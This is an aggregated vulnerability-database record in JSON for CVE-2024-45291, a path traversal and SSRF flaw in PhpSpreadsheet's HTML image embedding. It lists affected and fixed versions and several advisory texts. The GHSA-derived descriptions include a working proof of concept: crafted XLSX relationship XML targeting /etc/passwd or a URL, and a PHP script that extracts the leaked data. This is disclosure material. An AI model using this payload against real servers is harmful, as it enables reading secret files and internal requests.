{"id":"CVE-2024-45291","aliases":["EUVD-2024-3153","GHSA-w9xv-qf98-ccq4"],"status":"published","title":"Path traversal and Server-Side Request Forgery in HTML writer when embedding images is enabled in PHPSpreadsheet","description":"PHPSpreadsheet is a pure PHP library for reading and writing spreadsheet files. It's possible for an attacker to construct an XLSX file that links images from arbitrary paths. When embedding images has been enabled in HTML writer with `$writer-\u003esetEmbedImages(true);` those files will be included in the output as `data:` URLs, regardless of the file's type. Also URLs can be used for embedding, resulting in a Server-Side Request Forgery vulnerability. When embedding images has been enabled, an attacker can read arbitrary files on the server and perform arbitrary HTTP GET requests. Note that any PHP protocol wrappers can be used, meaning that if for example the `expect://` wrapper is enabled, also remote code execution is possible. This issue has been addressed in release versions 1.29.2, 2.1.1, and 2.3.0. All users are advised to upgrade. there are no known workarounds for this vulnerability.","severity":{"version":"3.1","score":6.3,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00864,"percentile":0.5905,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-22","CWE-36","CWE-918"],"published":"2024-10-07T15:58:06Z","modified":"2026-10-28T02:30:54Z","fixes":[{"ecosystem":"Packagist","package":"phpoffice/phpspreadsheet","fixed_in":["2.3.0","1.29.2","2.1.1"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Packagist","package":"phpoffice/phpspreadsheet","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.2.0"},{"fixed":"2.3.0"}]}]},{"source":"ghsa","ecosystem":"Packagist","package":"phpoffice/phpspreadsheet","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.29.2"}]}]},{"source":"ghsa","ecosystem":"Packagist","package":"phpoffice/phpspreadsheet","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.1.1"}]}]},{"source":"ghsa","ecosystem":"Packagist","package":"phpoffice/phpexcel","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"1.8.2"}]}]},{"source":"osv","ecosystem":"Packagist","package":"phpoffice/phpspreadsheet","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.2.0"},{"fixed":"2.3.0"}]}],"versions":["2.2.0","2.2.1","2.2.2"]},{"source":"osv","ecosystem":"Packagist","package":"phpoffice/phpspreadsheet","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.29.2"}]}],"versions":["1.0.0","1.0.0-beta","1.0.0-beta2","1.1.0","1.10.0","1.10.1","1.11.0","1.12.0","1.13.0","1.14.0","1.14.1","1.15.0","1.16.0","1.17.0","1.17.1","1.18.0","1.19.0","1.2.0","1.2.1","1.20.0","1.21.0","1.22.0","1.23.0","1.24.0","1.24.1","1.25.0","1.25.1","1.25.2","1.26.0","1.27.0","1.27.1","1.28.0","1.29.0","1.29.1","1.3.0","1.3.1","1.4.0","1.4.1","1.5.0","1.5.1","1.5.2","1.6.0","1.7.0","1.8.0","1.8.1","1.8.2","1.9.0"]},{"source":"osv","ecosystem":"Packagist","package":"phpoffice/phpspreadsheet","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.1.1"}]}],"versions":["2.0.0","2.1.0"]},{"source":"osv","ecosystem":"Packagist","package":"phpoffice/phpexcel","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"1.8.2"}]}],"versions":["1.7.9","1.7.9-rc1","1.8.0","1.8.0rc1","1.8.0rc2","1.8.0rc3","1.8.0rc4","1.8.1","1.8.2"]}],"products":[{"vendor":"phpoffice","product":"phpspreadsheet"}],"references":[{"url":"https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-w9xv-qf98-ccq4","tags":["x_refsource_CONFIRM","Exploit","Third Party Advisory","advisory","web"]},{"url":"https://github.com/PHPOffice/PhpSpreadsheet/commit/a9693d1182df6695c14bc5d74315ac71a3398e5a","tags":["web"]},{"url":"https://github.com/PHPOffice/PhpSpreadsheet/commit/d95bc290beb137d4118095b96f62ec47e0205cec","tags":["web"]},{"url":"https://github.com/PHPOffice/PhpSpreadsheet/commit/e04ed222b36fd5fd6fed0c10c765c2b68effb465","tags":["web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-45291","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-w9xv-qf98-ccq4"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/45xxx/CVE-2024-45291.json","tags":["advisory"]},{"url":"https://github.com/PHPOffice/PhpSpreadsheet","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2024-45291","title":"Path traversal and Server-Side Request Forgery in HTML writer when embedding images is enabled in PHPSpreadsheet","description":"PHPSpreadsheet is a pure PHP library for reading and writing spreadsheet files. It's possible for an attacker to construct an XLSX file that links images from arbitrary paths. When embedding images has been enabled in HTML writer with `$writer-\u003esetEmbedImages(true);` those files will be included in the output as `data:` URLs, regardless of the file's type. Also URLs can be used for embedding, resulting in a Server-Side Request Forgery vulnerability. When embedding images has been enabled, an attacker can read arbitrary files on the server and perform arbitrary HTTP GET requests. Note that any PHP protocol wrappers can be used, meaning that if for example the `expect://` wrapper is enabled, also remote code execution is possible. This issue has been addressed in release versions 1.29.2, 2.1.1, and 2.3.0. All users are advised to upgrade. there are no known workarounds for this vulnerability.","status":"published","published":"2024-10-07T20:09:58.029Z","modified":"2024-10-08T18:32:25.328Z","cvss":[{"version":"3.1","score":6.3,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-36","CWE-918"],"updated_at":"2026-11-02T14:34:08.16279Z"}],"euvd":[{"id":"EUVD-2024-3153","description":"PHPSpreadsheet is a pure PHP library for reading and writing spreadsheet files. It's possible for an attacker to construct an XLSX file that links images from arbitrary paths. When embedding images has been enabled in HTML writer with `$writer-\u003esetEmbedImages(true);` those files will be included in the output as `data:` URLs, regardless of the file's type. Also URLs can be used for embedding, resulting in a Server-Side Request Forgery vulnerability. When embedding images has been enabled, an attacker can read arbitrary files on the server and perform arbitrary HTTP GET requests. Note that any PHP protocol wrappers can be used, meaning that if for example the `expect://` wrapper is enabled, also remote code execution is possible. This issue has been addressed in release versions 1.29.2, 2.1.1, and 2.3.0. All users are advised to upgrade. there are no known workarounds for this vulnerability.","status":"published","published":"2024-10-07T20:09:58Z","modified":"2024-10-08T18:32:25Z","cvss":[{"version":"3.1","score":6.3,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N","level":"medium"}],"updated_at":"2026-11-03T00:27:44.844048Z"}],"ghsa":[{"id":"GHSA-w9xv-qf98-ccq4","title":"PhpSpreadsheet allows absolute path traversal and Server-Side Request Forgery in HTML writer when embedding images is enabled","description":"### Summary\n\nIt's possible for an attacker to construct an XLSX file that links images from arbitrary paths. When embedding images has been enabled in HTML writer with `$writer-\u003esetEmbedImages(true);` those files will be included in the output as `data:` URLs, regardless of the file's type. Also URLs can be used for embedding, resulting in a Server-Side Request Forgery vulnerability.\n\n### Details\n\nXLSX files allow embedding or linking media. When \n\nIn `xl/drawings/drawing1.xml` an attacker can do e.g.:\n```xml\n\u003ca:blip cstate=\"print\" r:link=\"rId1\" /\u003e\n```\n\nAnd then, in `xl/drawings/_rels/drawing1.xml.rels` they can set the path to anything, such as:\n```xml\n\u003cRelationship Id=\"rId1\"\n    Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/image\"\n    Target=\"/etc/passwd\" /\u003e\n```\nor\n```xml\n\u003cRelationship Id=\"rId1\"\n    Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/image\"\n    Target=\"http://example.org\" /\u003e\n```\n\nWhen the HTML writer is outputting the image, it does not check the path in any way. Also the `getimagesize()` call does not mitigate this, because when `getimagesize()` returns false, an empty mime type is used.\n\n```php\nif ($this-\u003eembedImages || str_starts_with($imageData, 'zip://')) {\n    $picture = @file_get_contents($filename);\n    if ($picture !== false) {\n        $imageDetails = getimagesize($filename) ?: ['mime' =\u003e ''];\n        // base64 encode the binary data\n        $base64 = base64_encode($picture);\n        $imageData = 'data:' . $imageDetails['mime'] . ';base64,' . $base64;\n    }\n}\n\n$html .= '\u003cimg style=\"position: absolute; z-index: 1; left: '\n    . $drawing-\u003egetOffsetX() . 'px; top: ' . $drawing-\u003egetOffsetY() . 'px; width: '\n    . $drawing-\u003egetWidth() . 'px; height: ' . $drawing-\u003egetHeight() . 'px;\" src=\"'\n    . $imageData . '\" alt=\"' . $filedesc . '\" /\u003e';\n```\n\n### PoC\n\n```php\n\u003c?php\n\nrequire 'vendor/autoload.php';\n\n$reader = \\PhpOffice\\PhpSpreadsheet\\IOFactory::createReader(\"Xlsx\");\n$spreadsheet = $reader-\u003eload(__DIR__ . '/book.xlsx');\n\n$writer = new \\PhpOffice\\PhpSpreadsheet\\Writer\\Html($spreadsheet);\n$writer-\u003esetEmbedImages(true);\n$output = $writer-\u003egenerateHTMLAll();\n\n// The below is just for demo purposes\n\n$pattern = '/data:;base64,(?\u003cdata\u003e[^\"]+)/i';\n\npreg_match_all($pattern, $output, $matches);\n\nprint(\"*** /etc/passwd content: ***\\n\");\nprint(base64_decode($matches['data'][0]));\n\nprint(\"*** HTTP response content: ***\\n\");\nprint(base64_decode($matches['data'][1]));\n```\n\nAdd this file in the same directory:\n[book.xlsx](https://github.com/PHPOffice/PhpSpreadsheet/files/15213066/book.xlsx)\n\nRun with:\n`php index.php`\n\n### Impact\n\nWhen embedding images has been enabled, an attacker can read arbitrary files on the server and perform arbitrary HTTP GET requests, potentially e.g. [revealing secrets](https://hackingthe.cloud/aws/exploitation/ec2-metadata-ssrf/). Note that any PHP protocol wrappers can be used, meaning that if for example the `expect://` wrapper is enabled, also remote code execution is possible.","status":"published","published":"2024-10-07T15:58:06Z","modified":"2025-03-06T18:13:22Z","cvss":[{"version":"4.0","score":6,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"medium"},{"version":"3.1","score":6.3,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N","level":"medium"}],"cwes":["CWE-22","CWE-36","CWE-918"],"updated_at":"2026-11-02T14:38:34.185137Z"}],"nvd":[{"id":"CVE-2024-45291","description":"PHPSpreadsheet is a pure PHP library for reading and writing spreadsheet files. It's possible for an attacker to construct an XLSX file that links images from arbitrary paths. When embedding images has been enabled in HTML writer with `$writer-\u003esetEmbedImages(true);` those files will be included in the output as `data:` URLs, regardless of the file's type. Also URLs can be used for embedding, resulting in a Server-Side Request Forgery vulnerability. When embedding images has been enabled, an attacker can read arbitrary files on the server and perform arbitrary HTTP GET requests. Note that any PHP protocol wrappers can be used, meaning that if for example the `expect://` wrapper is enabled, also remote code execution is possible. This issue has been addressed in release versions 1.29.2, 2.1.1, and 2.3.0. All users are advised to upgrade. there are no known workarounds for this vulnerability.","status":"published","published":"2024-10-07T21:15:17.633Z","modified":"2026-06-17T07:53:57.777Z","cvss":[{"version":"3.1","score":6.3,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N","level":"medium","assessor":"secondary"},{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"primary"}],"cwes":["CWE-36","CWE-918","CWE-22"],"updated_at":"2026-11-02T14:10:31.271525Z"}],"osv":[{"id":"CVE-2024-45291","title":"Path traversal and Server-Side Request Forgery in HTML writer when embedding images is enabled in PHPSpreadsheet","description":"PHPSpreadsheet is a pure PHP library for reading and writing spreadsheet files. It's possible for an attacker to construct an XLSX file that links images from arbitrary paths. When embedding images has been enabled in HTML writer with `$writer-\u003esetEmbedImages(true);` those files will be included in the output as `data:` URLs, regardless of the file's type. Also URLs can be used for embedding, resulting in a Server-Side Request Forgery vulnerability. When embedding images has been enabled, an attacker can read arbitrary files on the server and perform arbitrary HTTP GET requests. Note that any PHP protocol wrappers can be used, meaning that if for example the `expect://` wrapper is enabled, also remote code execution is possible. This issue has been addressed in release versions 1.29.2, 2.1.1, and 2.3.0. All users are advised to upgrade. there are no known workarounds for this vulnerability.","status":"published","published":"2024-10-07T20:09:58.029Z","modified":"2026-10-28T02:30:54.830945134Z","cvss":[{"version":"3.1","score":6.3,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N","level":"medium"}],"cwes":["CWE-36","CWE-918"],"updated_at":"2026-11-02T15:44:42.790566Z"},{"id":"GHSA-w9xv-qf98-ccq4","title":"PhpSpreadsheet allows absolute path traversal and Server-Side Request Forgery in HTML writer when embedding images is enabled","description":"### Summary\n\nIt's possible for an attacker to construct an XLSX file that links images from arbitrary paths. When embedding images has been enabled in HTML writer with `$writer-\u003esetEmbedImages(true);` those files will be included in the output as `data:` URLs, regardless of the file's type. Also URLs can be used for embedding, resulting in a Server-Side Request Forgery vulnerability.\n\n### Details\n\nXLSX files allow embedding or linking media. When \n\nIn `xl/drawings/drawing1.xml` an attacker can do e.g.:\n```xml\n\u003ca:blip cstate=\"print\" r:link=\"rId1\" /\u003e\n```\n\nAnd then, in `xl/drawings/_rels/drawing1.xml.rels` they can set the path to anything, such as:\n```xml\n\u003cRelationship Id=\"rId1\"\n    Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/image\"\n    Target=\"/etc/passwd\" /\u003e\n```\nor\n```xml\n\u003cRelationship Id=\"rId1\"\n    Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/image\"\n    Target=\"http://example.org\" /\u003e\n```\n\nWhen the HTML writer is outputting the image, it does not check the path in any way. Also the `getimagesize()` call does not mitigate this, because when `getimagesize()` returns false, an empty mime type is used.\n\n```php\nif ($this-\u003eembedImages || str_starts_with($imageData, 'zip://')) {\n    $picture = @file_get_contents($filename);\n    if ($picture !== false) {\n        $imageDetails = getimagesize($filename) ?: ['mime' =\u003e ''];\n        // base64 encode the binary data\n        $base64 = base64_encode($picture);\n        $imageData = 'data:' . $imageDetails['mime'] . ';base64,' . $base64;\n    }\n}\n\n$html .= '\u003cimg style=\"position: absolute; z-index: 1; left: '\n    . $drawing-\u003egetOffsetX() . 'px; top: ' . $drawing-\u003egetOffsetY() . 'px; width: '\n    . $drawing-\u003egetWidth() . 'px; height: ' . $drawing-\u003egetHeight() . 'px;\" src=\"'\n    . $imageData . '\" alt=\"' . $filedesc . '\" /\u003e';\n```\n\n### PoC\n\n```php\n\u003c?php\n\nrequire 'vendor/autoload.php';\n\n$reader = \\PhpOffice\\PhpSpreadsheet\\IOFactory::createReader(\"Xlsx\");\n$spreadsheet = $reader-\u003eload(__DIR__ . '/book.xlsx');\n\n$writer = new \\PhpOffice\\PhpSpreadsheet\\Writer\\Html($spreadsheet);\n$writer-\u003esetEmbedImages(true);\n$output = $writer-\u003egenerateHTMLAll();\n\n// The below is just for demo purposes\n\n$pattern = '/data:;base64,(?\u003cdata\u003e[^\"]+)/i';\n\npreg_match_all($pattern, $output, $matches);\n\nprint(\"*** /etc/passwd content: ***\\n\");\nprint(base64_decode($matches['data'][0]));\n\nprint(\"*** HTTP response content: ***\\n\");\nprint(base64_decode($matches['data'][1]));\n```\n\nAdd this file in the same directory:\n[book.xlsx](https://github.com/PHPOffice/PhpSpreadsheet/files/15213066/book.xlsx)\n\nRun with:\n`php index.php`\n\n### Impact\n\nWhen embedding images has been enabled, an attacker can read arbitrary files on the server and perform arbitrary HTTP GET requests, potentially e.g. [revealing secrets](https://hackingthe.cloud/aws/exploitation/ec2-metadata-ssrf/). Note that any PHP protocol wrappers can be used, meaning that if for example the `expect://` wrapper is enabled, also remote code execution is possible.","status":"published","published":"2024-10-07T15:58:06Z","modified":"2026-02-04T03:35:21.693447Z","cvss":[{"version":"3.1","score":6.3,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N","level":"medium"},{"version":"4.0","score":6,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"medium"}],"cwes":["CWE-22","CWE-36","CWE-918"],"updated_at":"2026-11-02T15:46:58.401149Z"}]}}